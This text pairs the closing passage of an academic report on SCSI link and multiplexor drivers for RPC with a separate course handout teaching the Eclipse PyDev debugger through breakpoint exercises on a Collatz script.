will be queued for retransmission if retrying it does not exceed the retry count, if it would then it is marked as done with errors. If the command returned with a check condition then the Link driver must send a request sense command. Once the command has been checked by the lower level routines, `ukcsintr` decides what to do with the command based upon their return values. If the command needs to be retransmitted, `ukcsintr` calls `pkt_transport`. Otherwise the command completed either successfully or with errors, in which case `ukcsdone` is called. ### 5.4.2 `ukcsdone` `ukcsdone` cleans up after the last command and starts the next one. If it receives a command which has returned with an error condition it frees the resources for the scsi packet and returns. In later implementations it is envisaged that the Link driver will be required to recover from a number of different errors, each possibly requiring a slightly different strategy. If the command completes without errors `ukcsdone` must determine which channel (send or receive) this command arrived on. If the command arrived on the send channel and there is still outstanding work, then the command which arrived is the `ukckcmd_t` in which case the `ukcsstart` routine is called to send the data. Otherwise the Multiplexor is informed that the write completed. The resources associated with this write command are released. If the command arrived on the receive channel and there is an outstanding packet on the queue, then the command which has completed is the `ukckcmd_t`. The Multiplexor is informed which read command has partially completed. This two part sequence is needed in case a process dies before any outstanding RPC’s are completed, in this case it would is crucial that the DMA transfer directly into the processes memory not be allowed to continue. If the Multiplexor okay’s the second part of the read, the Link driver fills in the waiting buf structure and calls `ukcsstart` to begin the second part of the read. If the Multiplexor refuses the read, the resources for this command are released and the `ukcs_read` routine is called to set up the next disconnecting read (see open... entry point). Otherwise, if nothing is on the pending queue the command which has arrived is the data. In this case the Multiplexor is informed that the second part of the read has completed. The resources for this command are released and \texttt{ukcs\_read} is called to set up the next disconnecting read. In both cases the Multiplexor is informed through the setup structure which was passed to the Link driver by \texttt{ukcr\_init} when it calls the \texttt{ukct\_setup} routine. This design ensures that if the Multiplexor is loadable in future implementations then it can inform the Link driver of its command completion routines. \section*{6 Conclusion} The multiplexor provides for multiple character special device files, each of which acts as an autonomous RPC slot. It has no knowledge of the underlying SCSI structure, but instead uses a simple interface to communicate with the SCSI link driver. The link driver manages the generation of the necessary SCSI commands to transmit the data over the bus to the PC based TRAM’s. RPC requests and replies are viewed as opaque data about which neither driver has any knowledge. Further work in this area of the project will involve timing the drivers and writing a local service handler which does not require SCSI interactions for those RPC’s from clients whose server executes on the same machine. \section*{References}
{"Source-Url": "https://kar.kent.ac.uk/21203/1/RPCPenny.pdf", "len_cl100k_base": 8233, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 38448, "total-output-tokens": 9166, "length": "2e13", "weborganizer": {"__label__adult": 0.00045108795166015625, "__label__art_design": 0.0005102157592773438, "__label__crime_law": 0.0003802776336669922, "__label__education_jobs": 0.0008950233459472656, "__label__entertainment": 0.00010967254638671876, "__label__fashion_beauty": 0.0001964569091796875, "__label__finance_business": 0.0003364086151123047, "__label__food_dining": 0.0003960132598876953, "__label__games": 0.0009441375732421876, "__label__hardware": 0.0225067138671875, "__label__health": 0.0005135536193847656, "__label__history": 0.00045013427734375, "__label__home_hobbies": 0.000164031982421875, "__label__industrial": 0.0014009475708007812, "__label__literature": 0.0002467632293701172, "__label__politics": 0.0002987384796142578, "__label__religion": 0.0007925033569335938, "__label__science_tech": 0.2392578125, "__label__social_life": 7.68899917602539e-05, "__label__software": 0.0223846435546875, "__label__software_dev": 0.70556640625, "__label__sports_fitness": 0.0003845691680908203, "__label__transportation": 0.0013093948364257812, "__label__travel": 0.0002396106719970703}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 38580, 0.0205]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 38580, 0.59698]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 38580, 0.91812]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 2317, false], [2317, 4124, null], [4124, 7520, null], [7520, 10962, null], [10962, 12603, null], [12603, 14161, null], [14161, 15647, null], [15647, 19313, null], [19313, 22220, null], [22220, 25390, null], [25390, 29532, null], [29532, 32479, null], [32479, 36588, null], [36588, 38580, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 2317, true], [2317, 4124, null], [4124, 7520, null], [7520, 10962, null], [10962, 12603, null], [12603, 14161, null], [14161, 15647, null], [15647, 19313, null], [19313, 22220, null], [22220, 25390, null], [25390, 29532, null], [29532, 32479, null], [32479, 36588, null], [36588, 38580, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 38580, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 38580, null]], "pdf_page_numbers": [[0, 0, 1], [0, 2317, 2], [2317, 4124, 3], [4124, 7520, 4], [7520, 10962, 5], [10962, 12603, 6], [12603, 14161, 7], [14161, 15647, 8], [15647, 19313, 9], [19313, 22220, 10], [22220, 25390, 11], [25390, 29532, 12], [29532, 32479, 13], [32479, 36588, 14], [36588, 38580, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 38580, 0.0]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
b0444f0ea53702a18cc5d0db8f7d9ab7b5364cf6
Overview Debugging is the process of locating the source of programming errors (often called bugs) and correcting them. Debuggers are software tools that programmers use to help in this process. Primarily, we use debuggers to control and monitor the execution of our scripts. Specifically, we can use a debugger to run a script selectively, stopping it at interesting locations and examining its state (the values that are stored in its variables, which are stored and modified as a script runs). In this way we can better understand how a script works—or more importantly, help pinpoint exactly where a script fails to work correctly as the first step towards determining what changes we must make to fix it. Thus the process of debugging involves both locating and correcting the source of programming errors. We can instruct a debugger to continually display the current values stored in all (or selected) variables; this process is called observing variables. Then, we can execute our script one line at a time (this process is called single stepping through a script). After each step, we can observe the new values stored in the variables. We can also use the debugger to automatically run the script with unconditional breakpoints set on lines of code, which instructs the debugger to stop the script when it is about to execute any breakpointed line; in addition, we can set a conditional breakpoint to also stop a script when it is about to execute a breakpointed line, but only when some specified condition (a boolean expression) evaluates to True when that line is about to be executed. This document explains and demonstrates how to use the Eclipse Debug perspective. While reading this document, look for the symbol, which instructs you to practice the debugger commands that were just discussed. Debuggers are sophisticated tools with many subtle features. Although this document is only a brief introduction, designed for novices, it covers the rudiments of the most important and useful debugger commands. Finally, during the semester we will use the illustrative power of the Debug perspective to help us learn and understand new Python language features. Learn in haste; debug in leisure A debugger is an important tool that can save us lots of time. I estimate that for every hour that you spend learning about the Debug perspective or practicing using it, you will save at least 3 hours later in the quarter, when you are locating and correcting execution errors in your scripts. But debuggers are not a substitute for thinking. They help automate hand simulations, but they do not automate the inductive and deductive processes necessary to locate and fix bugs in a script. So do not be misled; when asked, “What is the most important tool for debugging?”; your answer should be “my brain”. Before we can debug a script, we must open its project and ensure it is runnable (no detected errors or warnings on its Edit tab). Then we are ready to run and debug it. To follow along with this handout, first copy onto the desktop the collatz project (do it now), which accessible off the Sample Programs page; in the PyDev perspective, load it into Eclipse as an existing project. Actually, this script is correct: it contains no bugs. But, we will use this script to study the features of the Debug perspective. Before proceeding, please read the comments that describe this script; then, run it a few times, experimenting with it (supplying values to its prompts) and observing its output. We are now ready to switch to the Debug perspective. The button for this perspective, labeled Debug (preceded by a bug icon: see the left margin above) should appear on the top-right tab, next to the button labeled PyDev. If the Debug button is there, click it; if it is not there, you can put it there by clicking the Open Perspective button on the tab to the left of the PyDev button and selecting the Debug perspective (or by selecting Window | Open Perspective | Debug on the pull-down menu). The PyDev and Debug buttons can be reduced to only their icons by right-clicking on either button and unchecking the Show Text option. In the collatz project, click the Debug perspective button. You should see the Eclipse window change to the Debug perspective as illustrated below. This picture illustrates (and labels) the standard size and layout of these windows in the Debug perspective, which was designed to make the most important debugging windows easily accessible. We can change the size and layout of any windows in this view, including removing any of their tabs or even the windows themselves. If we click the debug button ( ) on the Eclipse toolbar, Eclipse will run the entire script under control of the Debug perspective. If we do this now, though, Eclipse will run the script just as it did in the PyDev perspective. To actually start debugging this script, we first must set a breakpoint (discussed in more detail later) by double clicking in the margin to the left of the line 55 (import prompt) which appears in the editor window in the collatz tab. Double-click to the left of line 55 to set a breakpoint. A green icon ( ) should appear there, as shown below. Now click the debug button ( ) and Eclipse starts running the script under control of the **Debug** perspective. You should see the following changes to the screen. Notice that the Debug Toolbar (see the first picture) now appears in color (not gray). We will next discuss the contents of all the tabs in the Debug view. **The Debug Tab** The window with the Debug tab contains a stack under `MainThread - pid43420_seq1`, listing all the modules (or functions) executing in a script. They go from the oldest `<module> [pydevd.py:1346]` at the bottom) to the youngest `<module> [collatz.py:55]`, the one currently executing (at the top). Generally, each module (or function) in the stack lists the line number (e.g., `line 55`) that the script is executing. The top method is special: its line number shows which line the script Python is about to execute (will execute next). In the picture above, `collatz.py` is the active module and it is about to execute line `line 55`. Notice that there is a green arrow in the `collatz` Editor tab, referring to the line on which we set the breakpoint: `55`. The Debug tab allows us to monitor module execution (and function calls). We can click any line in this stack: the name is then highlighted, a tab in the Editor view displays that module’s (or function’s) code, and the Variables tab (described below) displays the values of that modules (or function’s) variables. Later in the quarter, when we study how to write Python function, we will learn more about interpreting the information in the Debug tab (and more about the editor window and Variables tab, too). Whenever we start to debug a script with a breakpoint on the first line, we will see one highlighted entry in the Debug tab, indicating the script we are running and the line number it is about to execute. In this picture, it refers to the `collatz.py` script which is about to execute line `55`, shown in the `collatz` module/tab in the Editor view. Below is a picture of the Debug toolbar, on the tops are the meanings of its most important and useful buttons. **The Editor Tab** The Editor window shows the line of Python code that is about to be executed, both by showing a right-pointing arrow in that line’s left margin and by highlighting that line in green (in one of the class/file tabs in the editor window). As we execute the statements in a script (see single stepping below), the arrow will move from line to line along with the highlighting. If we hover over a declared/initialized variable, its name and value will appear in a yellow window below the hover. When we set a breakpoint on a method, the Debug perspective stops on the first statement inside the method: in this case the `import prompt`. Note that when the Debug perspective stops on a line, it has not yet executed that line: it is about to execute it. This meaning often confuses beginners. By selecting any module in the Debug tab, we can easily see where in that module our script is currently executing (either in the same class/file tab, or in another one the Debug perspective creates). As we see below, we can also see that module’s variables in the Variables tab. **The Variables Tab** The Variables tab lists the names and values of all the module variables that are initialized (currently assigned values) by the highlighted module in the Debug tab. By selecting any module named in the Debug tab, we can see its code (in an Editor tab) and all of its initialized variables (in the Variable tab). All variables refer to objects. The values of a simple object appears in the Value column in the Variables tab by showing the type of the object and its value: for example, the variable `__name__` is a `str` (string) with the value `__main__` (note a colon separates the type and value). If a variable refers to a complicated object (one that defines more names), the variable is prefaced by a disclosure box containing either a `+` or `·` sign. If we click a `+` box, it changes to a `·` box and discloses more of the names in that object; if we click `·` box, it changes to a `+` box and, elides these names, so that they are not displayed. Later in the quarter, when we study more about Python, we will learn more about using these `+/·` boxes. If there are too many entries in the Debug or Variables tab to display all at once, we can scroll through them. We can also simultaneously increase/decrease the sizes of the Debug and Variables tabs by pulling downward/upward on the horizontal line that separates these panes from the Editor tab. Doing so increases/decreases the size of these tabs (and the Editor tab). When a script starts, the Variables tab will always display the names `Globals, __builtins__, __doc__, __file__, and __name__`. Soon we will see how to step over the statements that define the new name `prompt, Stopwatch, original_number, is_debugging, cycle_count, test_number, and timer`, which will sequentially appear in the Variable tab along with their values. Outline Tab The Outline tab shows every name that is assigned a value in the module in the chosen Editor tab. If a name is assigned a value multiple times in the module, it appears multiple times in the Outline view. The names that are assigned by `import` statements are prefaced by a different blue icon than the names that are assigned values by assignment (=`) statements. If we click on one of these names, the Editor tab will show the corresponding line in the module on which that name is assigned a value. The order of the names in the Outline tab correspond to the order in which names are assigned in the module. We can display these name alphabetically by clicking the sort-by-name icon (A–Z). If we click this icon again, it toggles: the names return to their original ordering. We can use the downward triangle icon (three to the right of the sort-by-name icon) to hide certain categories of names (like imports) so they don’t appear in the Outline tab. Console Tab The Console tab shows the text `pydev debugger: starting`; as we debug the script, the Console tab will eventually show all the information it shows when we run the script using the PyDev view. Maximizing Tabs Remember, to maximize any of the tabs, just double-click it (and double click it again to restore it). For more extensive manipulation, use the buttons on the right of the toolbar holding the tab. Try this now, with each of these three views (Debug tab, editor, and Variable tab). Single Stepping Single stepping allows us to execute our script very slowly: one line at a time. When we combine single stepping in the Editor tab with observing the values of variables in the Variables tab, we can carefully trace the execution of our script easily. Such tracing allows us to understand exactly how Python is executing our script: what code it is executing and how that code is changing the states of its variables. These actions help us detect and correct any errors —differences between what Python is doing and what we wanted Python to do. Most debuggers support at least three kinds of single stepping: Step Over, Step Into, and Step Return. The buttons for these three stepping operations, as well as a few others, appear towards the right end of the Eclipse toolbar (illustrated above). The Debug Tool Bar The Debug tab has a special toolbar with about ten buttons. We click them to control how Python runs the script that we are debugging. Briefly, the most important are - **Resume** - Execute the script until it ends, or until a breakpoint (see below), is reached. - **Terminate** - Terminate a debugging session; we can always start a new debugging session by redebugging the script: that is, by clicking the debug button. - **Step Into** - Stop at the first Python statement inside a call to function in the line about to be executed; we will examine this button later in the quarter, after we learn how to write our own functions. - **Step Over** - Execute one Python statements; we will explain this button in detail below. - **Step Return** - Execute all Python statements until the end of a function (sometimes called Step Out Of); we will examine this button when we examine the Step Into button: they are opposites. The Step Into and Step Out buttons are useful only when we are debugging scripts that call functions that we have written (not applicable in collatz.py), so we will defer discussion of these buttons until later in the quarter, when we learn how to write our own Python functions. If any of these buttons appears gray, it means that the button is not currently usable: clicking it has no effect. For example, if no script is running, all the buttons are gray; clicking them has no effect. Stepping Over The Step Over button executes one line in a Python script: the highlighted line that the arrow is pointing to. If that line contains a function call, it executes the complete function call without showing us any of the function’s details (any of the code/variables inside the function). We say that Step Over treats all methods as black boxes. When we use Step Over in a script - The blue arrow/green highlighting indicates the line that Python is about to execute; clicking Step Over executes that line, at which point and the blue arrow/green highlighting moves to the next line that Python will execute. - If a variable is assigned for the first time during the execution of the step, it appears in the Variables Tab with its assigned value in the Value column, and both highlighted in yellow. - If any variable already in the Variables tab is assigned a new value during the execution of a step, the new value appears in the Value column, and both are highlighted in yellow. If a variable’s value does not change during the execution of a step, its background appears normal (stays normal or reverts to normal from yellow). In the `collatz.py` script, the blue arrow/green highlighting refers to line 55 (import `prompt`). Perform the following steps: 1) Click the Step Over button (Python imports the `prompt` module); notice that the name `prompt` appears in the Variables tab (and its value shows it to be a `module`) highlighted in yellow. The blue arrow/green highlighting now refers to line 56. 2) Click the Step Over button (Python imports the `Stopwatch` class from the `stopwatch` module); notice that the name `Stopwatch` appears in the Variables tab (and its value shows it to be a `class`) highlighted in yellow (the line for `prompt` returns to normal: it was not assigned a value in this line). The blue arrow/green highlighting now refers to line 59. 3) Click the Step Over button once (Python calls the `prompt.for_int` function); notice that the prompt text (Enter a positive number:) appears in the Console tab and the debugging icons become gray: we have to enter a value in the Console tab before we can issue any more debugging command. Enter the value 5 in the Console tab and press Enter. The name `original_number` appears in the Variables tab (and its value shows it to be the `int 5`) highlighted in yellow (the line for `Stopwatch` returns to normal: it was not assigned a value in this line). The blue arrow/green highlighting now refers to line 60. 4) Click the Step Over button once (Python calls the `prompt.for_bool` function); notice that the prompt text (Display intermediate results[True]:) appears in the Console. Press Enter to use the default value: `True`. The name `is_debugging` appears in the Variables tab (and its value shows it to be the `bool True`) highlighted in yellow (the line for `original_number` returns to normal: it was not assigned a value in this line). The blue arrow/green highlighting now refers to line 61. 5) Click the Step Over button once (Python assigns to the name `cycle_count`); notice that the name `cycle_count` appears in the Variables tab (and its value shows it to be the `int 1`) highlighted in yellow (the line for `is_debugging` returns to normal: it was not assigned a value in this line). The blue arrow/green highlighting now refers to line 62. 6) Click the Step Over button once (Python assigns to the name `test_number`); notice that the name `test_number` appears in the Variables tab (and its value shows it to be the `int 5`) highlighted in yellow (the line for `cycle_count` returns to normal: it was not assigned a value in this line). The blue arrow/green highlighting now refers to line 64. Continue clicking Step Over and observe how Python executes this script: how the control structures determine which lines are executed in the Editor tab and which Variables change their state in the Variables tab. It will take 6 cycles before the test number becomes 1 and terminates the loop and prints the statistics. **Important Point:** The blue arrow points/green highlighting refer to the line that is about to be executed; when we click the Step Over button, Python executes the line being referred to. It is a common misconception that the blue arrow/green highlighting refers to the line that has just been executed. You need to know the difference, which is sometimes critical. Whenever we Step Over a line that requires input from the user, the Console tab becomes critical: typically, it contains a prompt telling the user what information to enter, and it waits for the user to enter this information. You will notice that the debugging buttons become gray (indicating we must do something else —enter the requested information— before returning to our stepping). The Console tab is automatically selected. Although the cursor appears at the front of the prompt, if we type a value it appears in the Console tab after the prompt. Terminating a Debugging Session (and possibly restarting one) To terminate a debugging session (possibly to begin stepping through the script from the beginning again: it is easy to step too far, which requires going back to the beginning) click the Terminate button on the Debug toolbar. In this case the debugger terminates the script immediately: the blue arrow/green highlighting disappear from the Editor view. The Debug/Console tabs show the script to be terminated. Another way to terminate a script is to click the Terminate button on the toolbar that holds the Console tab. To start debugging over again, click Terminate and then the debug button again. In the collatz.py script, click the Terminate button. Then, start a new debugging session by clicking the debug button. Step completely through the script. Again, enter the value 5 when prompted. Observe the entire execution of the script (with this input, it takes six cycles). Observe which lines are executed in the Editor view, which variables are changed in the Variables tab as each line in the script executes (notice state changes appear with a yellow background, which disappears when different states change), and what information is displayed/entered in the Console window. This is a slow but simple way to execute a script. We will now discuss faster ways to jump to “lines of interest” and possibly step from these lines. Breakpoints Step Over allows us to observe the statements executed in our scripts. At each step, the Variables tab allows us to observe the changes made to values stored in our variables. Step Over allows (and forces) a very fine-grained view of our script. By setting a breakpoint on a line, we can run the script—at high speed—until that line is about to be executed (instead of tediously single stepping to that line). Often we need to ignore earlier lines in our script; stop somewhere in the middle of it; and then Step Over that line and subsequent lines carefully, observing changes to our variables. This requirement is easily met by setting breakpoints, which come in two varieties: unconditional and conditional. Let us look at each kind of breakpoint separately. Important: We can set breakpoints only on lines containing Python code: not blank lines or on lines that contain only comments. Setting Unconditional Breakpoints When we set an unconditional breakpoint on a line, the Debug perspective will stop the script whenever it is about to execute that line. This might happen when we first click the debug button, or while we debugging the script, after we click the Resume button. The easiest way to set an unconditional breakpoint on a line is to double-click in the margin to the left of its line number in the Editor view (as we did above for import prompt line). When a line has a breakpoint set, its left margin changes to the breakpoint icon; also, an entry for each breakpointed line appears in the Breakpoints tab: the entry shows whether the breakpoint is enabled (the box is checked if it is: we can easily enable/disable a breakpoint, or permanently remove it) the name of the function (if the breakpoint is in a function: ours aren’t), and finally in brackets the name of the module the breakpoint appears in (and its line that module): if we select the Breakpoints tab in our example above, it displays as ![Breakpoint Icon](image) We can simultaneously set breakpoints on many different lines in a script. When we start debugging the script, by clicking the debug button, Python runs the script, executing lines until it is about to execute any breakpointed line. The Debug perspective shows us which breakpointed line was reached first by the blue arrow/green highlighting in an Editor tab. When Python stops before executing that line, all changed variables in the Variables tab (since the last debugging command) will appear with a yellow background. In the `collatz.py` script (it should be stopped on the first line; if not, terminate it and click the debug button), click the column on the left of the Editor view, to the left of the line containing the code `test_number = test_number // 2`, which is executed only when `test_number` is even (its execution is controlled by the `if` statement). Observe the debug icon to the left on this line and the entry in the Breakpoints window. Click the Resume button to execute this script. When prompted, enter the value 5 and `True`—by just pressing Enter—when prompted). The script stops on the breakpointed line 77 (with the blue arrow/green highlighting referring to this line), the first time that it is about to be executed: test number is 16 and now even. Observe the Variables tab when the script stops before executing this line. It should look as follows, showing all the script variables that were assigned values since we clicked Resume. Click the Resume button again; again, observe where the script stops and the values listed for these variables again (and which have a yellow background) and the contents of the Console tab. Continue clicking the Resume button and making observations until the script terminates. After the script terminates, click the debug button and again Resume to execute the script again. This time enter a value of 17 to the prompt and watch the behavior for even and odd values as the script executes. Removing (or Unsetting) Breakpoints If we no longer want the debugger to stop the script on a breakpointed line, we can easily remove its breakpoint. The easiest way to remove a breakpoint from a line is to double-click the breakpoint icon indicating a breakpoint in the left margin of a line. The breakpoint icon will disappear. The entry for that breakpoint will also disappear from the Breakpoints tab. We can also remove a breakpoint by right-clicking the breakpoint in the Breakpoints tab and selecting Remove. If we do not explicitly remove a breakpoint, and then terminate the script and run it again, that breakpoint (and any others that we set and did not remove) will still be there. With this feature, we can easily execute the script repeatedly, keeping the same breakpoints. In fact, if we terminate Eclipse, it will remember what we were debugging and what breakpoints were set when we restart it. Setting Conditional Breakpoints Sometimes we need to stop at line in a script, but not every time that the line is about to be executed: instead, we want to be more restrictive, and to stop there only when some special condition holds. Conditional breakpoints are an advanced feature that allows us this extra control by allowing us to attach a `bool` condition to any existing breakpoint. When the script is about to execute a line with a conditional breakpoint, Python first evaluates the condition: it stops the script before executing that line only when the condition evaluates to `True`. This simple mechanism increases the utility of breakpoints tremendously, and is another reason to pay close attention to `bool` expressions. Now, let’s see how to set a conditional breakpoint and specify its condition. - Set an unconditional breakpoint on a line. - Right-Click the breakpoint icon (and select Breakpoint Properties…); a box like the following will appear. Check the Enable Condition box; the text area beneath it becomes white. • In the text area enter a valid condition (any legal Python bool expression). The expression must refer only to variables that are assigned values at the time the breakpointed line is executed. • Click the OK button. We can reexamine/change the condition for any breakpoint by retrieving its properties window and editing the text area that contains its condition. In the collatz.py script (it should be stopped on the first line), set an unconditional breakpoint on line 71: if test_number == 1: Then make it a conditional breakpoint by typing the Boolean expression test_number < 1000. Now click the debug button to run this script (Enter the value 7777 when prompted): it will stop on the breakpointed line the first time that the condition is True. Notice the variables in the Variables tab when the script stops: test_number is 923 (which is <1000) and cycle_count is 17. Scroll back in the Console window to see what output the script produced during these 17 cycles; note that all prior values for test_number were ≥1000. Click the Resume button again and observe what happens: Python stops with cycle_count storing 33 and test_number storing 658 (the only two variables that are changing). Terminate the script and debug it again, with the same conditional breakpoint; this time enter a different value when prompted (again, a value ≥1000). Observe a similar pattern. Notice that when programs run with conditional breakpoints, their execution speed diminishes (sometimes dramatically); this is the price that we must pay for using such a powerful tool. Finally, if we enter an illegal Boolean expression into the white text area for a condition (typically illegal because of bad variables names or bad operator syntax), the Debug perspective does not notice the error until the condition is checked when Python runs the script (the first time its breakpointed line is executed). At that time, Python stops executing the script, displays an error message in the Console tab, and displays a pop-up window describing the error. If we click OK on the pop-up window, we can continue executing the script (e.g., pressing Resume or Step-Over). Each subsequent time it evaluates that breakpoint, the same thing happens. We can re-edit the condition in the breakpoint properties box to correct the breakpoint expression before continuing to execute the script in the debugger. IMPORTANT: There is a debugger problem with the Oxygen/Python 3.6. To fix it, and enable conditional breakpoints to work correctly, (a) while showing the Debug perspective, (b) Click the Run tab/pull down menu, (c) and click the Manage Python Exception Breakpoints, (d) At the bottom, put a check next to Suspend on django template render exceptions, (e) Click OK. At that point all unconditional breakpoints should work as shown here. If that doesn’t work, try instead: (a) set an unconditional breakpoint on the first Python statement to execute in your code (line 55 for collatz.py); (b) set any other conditional or unconditional breakpoints; (c) execute the program using the debugger perspective; (d) when the unconditional break set in (a) is reached, click the Step Over icon; (e) click the Resume icon. At this point all the unconditional and conditional breakpoints should work correctly. Disabling Breakpoints (and re-enabling them) Sometimes it is useful to temporarily disable a conditional breakpoint, rather than completely remove it. A disabled breakpoint has no effect, but it can easily be re-enabled to restore its effect. A removed breakpoint has to be set all over again (a removed conditional breakpoint requires further clicking and retyping the Boolean expression to recreate it). To disable a breakpoint: • Right-Click the breakpoint icon (to the left of the breakpointed line) and chose Disable Breakpoint; it will change to a gray icon and the checkbox in the Breakpoints tab will be unchecked. Caution: if we double click the breakpoint icon it will be removed! So think before you click. • Uncheck the checked checkbox next to the breakpoint in the Breakpoints tab; the breakpoint icon in the Editor tab will become gray. Finally, to re-enable a disabled breakpoint, either • Right-Click its gray breakpoint icon (to the left of the breakpointed line) and chose Enable Breakpoint; it will change back to a green icon and the checkbox in the Breakpoints tab will be checked. Caution: if you double click the white circle it will remove the breakpoint • Check the unchecked checkbox in the Breakpoints tab; the effect will be the same. In the `collatz.py` script (it should be stopped on the first line), disable the conditional breakpoint that you just set. Then, click the Resume button to run this script: it will not stop on a line with a disabled breakpoint. Then re-enable the breakpoint and restart the script, entering some value $\geq 1000$. Now the script stops on the line with the re-enabled breakpoint. Finally, we can also disable a condition on Properties for pop-up window of a breakpoint, converting it from a conditional breakpoint to an unconditional breakpoint, by unchecking the Enabled box. The condition remains in the text area, though, so by rechecking this box we can restore it to the its original state (as a conditional breakpoint with the original condition). We can easily restore evaluation of the condition by checking the Enable Condition checkbox. ### Observing Expressions It is possible to observe the values of arbitrary expressions, not just variables. For example, we can easily observe the $\text{test\_number}/2$ and $3*\text{test\_number}+1$ (the two values $\text{test\_number}$ might become) by viewing the Expressions tab (select Window | Show View | Expressions), clicking the green plus (Add new expression), typing any Python expression and pressing Enter. The Expressions tab below on the left will be added to the view holding the Variables and Breakpoints tabs, updating the values of these expressions whenever $\text{test\_number}$ changes. We can further manipulate any expression in the Name list by right-clicking it. The menu below on the right will appear: the most commonly used operations are Remove, Remove All, Disable/Enable, and especially Edit Watch Expression to change the expression. If a watched expression contains a syntax error (e.g., an unknown variable), an error message appears in the Value column. The Expressions tab below illustrates what happens. We can always right-click this expression and select Edit Watch Expression to edit the expression (in a window like the conditional breakpoint window) and correct the error. Eclipse will redisplay its Value (or show another error). To restore any views (like the Variables or Breakpoints tabs) if you remove them, click the Window pull-down menu, then select Show View, and finally select the view you want to see. Finally, when we terminate the debugger, Eclipse saves the contents and locations of all these windows. So, when we begin another debugging session (possibly after closing the entire project and reopening it at a later date), the desktop looks identical to when we last terminated a debugging session. For now, you are done with this handout. Please ensure that you have an operational understanding of the various windows, views, and tabs that are part of the debug perspective, how to single step through a script, and how to set, remove, and disable unconditional and conditional breakpoints. These operations are the primary ones that you’ll need for the first few weeks of class. When I complete this handout, I’ll announce it in class. **Viewing Complicated Data:** Complicated data (such as objects representing lists, dicts, and other classes) often show up in the Variables pane with a +/- boxes. Click the box to toggle between disclosing/eliding(not-seeing) the elements of the data. There are also special observer windows for displaying the members of complex data. **Changing Values:** We can use the debugger to change the values stored in variables. This operation is a bit delicate, and there are very very very (yes, not a typo) few times when it is useful. We accomplish this by right-clicking a variable in the Variables tab and selecting Change Value (and then entering the new value in the text box). **Stopping an infinite loop:** If a loop is infinite (no progress is being made towards loop termination inside the body of the loop), we can stop it in the debugger by clicking the Suspend button. Typically, the Debug tab will have lots of names in it, and the programmer must click the Step Return button multiple times to return to the script. Then the programmer can use Step Over to locate the infinite loop, and continue to use stepping to diagnose why the loop is not making progress toward termination. Often we observe an infinite loop by the Console window printing nothing (it almost looks like the script has stopped) or printing the same thing repeatedly, over and over again. **Step Into/Step Return:** When we begin writing our own functions (instead of just calling functions that are already written in the course library) we will discuss Stepping Into and Stepping Out Of, which treats functions as white boxes: when we Step Into a line containing a function call, the debugger goes into that function so that we can see its parameters, and how it works by executing its lines one at a time. We can single step in a function, Step into any functions that it calls, or Step Out that method to the line following the one where the function was called. **Debugging Strategies:** We will also discuss general strategies for quickly locating errors in programs. Often once the location of a bug is detected, we can easily determine how to fix it. Solve each of the following problems by setting breakpoints on various lines in the `collatz.py` script; most of the breakpoints also require conditions. Do not change the script or single step to find the answers (use breakpoints to find them much faster). First determine where to set the breakpoint, then determine under what condition to stop at that breakpoint (this reduces one hard task to two simpler ones). - For an input of `5184` what cycle is the first one where `test_number` is odd? - For an input of `18743` on what cycle does `test_number` first drop below `1000`? - For an input of `77777` does `test_number` ever equal `1336`? If so, on which cycle? - For an input of `77777` what values does `test_number` have on cycles `20, 40, 60`, etc.? There are simple and elegant ways to solve all these problems. Here are the solutions for the problems above. When answering questions about the current `cycle_count` and `test_number`, it is convenient to set a breakpoint on the `if test_number == 1:` line, which occurs directly after their current values are displayed to the console window. - For an input of 5184 what cycle is the first one where `test_number` is odd? - Answer: on cycle 7 (`test_number` is 81) 1) Set a breakpoint at the line starting `if test_number == 1:` with the following condition: `test_number % 2 == 1` 2) Set an unconditional breakpoint at the line `test_number = 3*test_number + 1;` this stops on the first odd number, but AFTER `cycle_count` has been incremented (so it will show as 8, not 7). - For an input of 18743 on what cycle does `test_number` first drop below 1000? - Answer: on cycle 81 (`test_number` is 572) - Set a breakpoint at the line starting `if test_number == 1:` with the following condition: `test_number < 1000` - For an input of 77777 does `test_number` ever equal 1336? If so, on which cycle? - Answer: on cycle 100 (`test_number` is 1336) - Set a breakpoint at the line starting `if test_number == 1:` with the following condition: `test_number == 1336` - For an input of 77777 what values does `test_number` have on cycles 20, 40, 60, etc.? - Answer: on cycle 20, `test_number` is 6922; on cycle 40, `test_number` is 1853; on cycle 60, `test_number` is 496; on cycle 80, `test_number` is 137; on cycle 100, `test_number` is 1336; - Set a breakpoint at the line starting `if test_number == 1:` with the following condition: `cycle_count % 20 == 0` Use the Debug perspective to observe the script in the *craps.py* script (find the **Craps Statistics** script by following the **Sample Programs** link on the course homepage). Before proceeding, please read all the comments at the top of that script, which describe it; then, compile and run it a few times. Below are a variety of questions about this script, all of which can be answered by using various combinations of the standard debugger commands: i.e., observing the Variables tab while stepping/running the script under the control of unconditional and conditional breakpoints (similarly to the problems/solutions in the handout above). For example, question 1 (below) can be solved by observing the variable *game* (which keeps track of the game number: first, second, third, etc.) and setting a breakpoint at the unique line that is executed when a loss occurs on a first throw of the dice. Determine both the answers to the questions 